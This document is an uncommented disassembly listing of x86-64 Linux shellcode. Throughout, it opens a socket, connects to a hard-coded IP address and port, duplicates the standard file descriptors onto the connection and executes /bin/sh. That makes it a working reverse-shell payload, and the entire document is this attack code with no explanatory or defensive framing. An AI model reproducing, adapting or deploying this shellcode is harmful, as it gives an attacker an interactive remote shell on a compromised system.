ASM

0000000000400080 <_start>:

  400080:   48 31 c0                xor    rax,rax

  400083:   48 31 ff                xor    rdi,rdi

  400086:   48 31 f6                xor    rsi,rsi

  400089:   48 31 d2                xor    rdx,rdx

  40008c:   4d 31 c0                xor    r8,r8

  40008f:   6a 02                   push   0x2

  400091:   5f                      pop    rdi

  400092:   6a 01                   push   0x1

  400094:   5e                      pop    rsi

  400095:   6a 06                   push   0x6

  400097:   5a                      pop    rdx

  400098:   6a 29                   push   0x29

  40009a:   58                      pop    rax

  40009b:   0f 05                   syscall

  40009d:   49 89 c0                mov    r8,rax

  4000a0:   48 31 f6                xor    rsi,rsi

  4000a3:   4d 31 d2                xor    r10,r10

  4000a6:   41 52                   push   r10

  4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2

  4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a

  4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a

  4000ba:   04

  4000bb:   48 89 e6                mov    rsi,rsp

  4000be:   6a 10                   push   0x10

  4000c0:   5a                      pop    rdx

  4000c1:   41 50                   push   r8

  4000c3:   5f                      pop    rdi

  4000c4:   6a 2a                   push   0x2a

  4000c6:   58                      pop    rax

  4000c7:   0f 05                   syscall

  4000c9:   48 31 f6                xor    rsi,rsi

  4000cc:   6a 03                   push   0x3

  4000ce:   5e                      pop    rsi

00000000004000cf <loop>:

  4000cf:   48 ff ce                dec    rsi

  4000d2:   6a 21                   push   0x21

  4000d4:   58                      pop    rax

  4000d5:   0f 05                   syscall

  4000d7:   75 f6                   jne    4000cf <loop>

  4000d9:   48 31 ff                xor    rdi,rdi

  4000dc:   57                      push   rdi

  4000dd:   57                      push   rdi

  4000de:   5e                      pop    rsi

  4000df:   5a                      pop    rdx

  4000e0:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f

  4000e7:   2f 73 68

  4000ea:   48 c1 ef 08             shr    rdi,0x8

  4000ee:   57                      push   rdi

  4000ef:   54                      push   rsp

  4000f0:   5f                      pop    rdi

  4000f1:   6a 3b                   push   0x3b

  4000f3:   58                      pop    rax

  4000f4:   0f 05                   syscall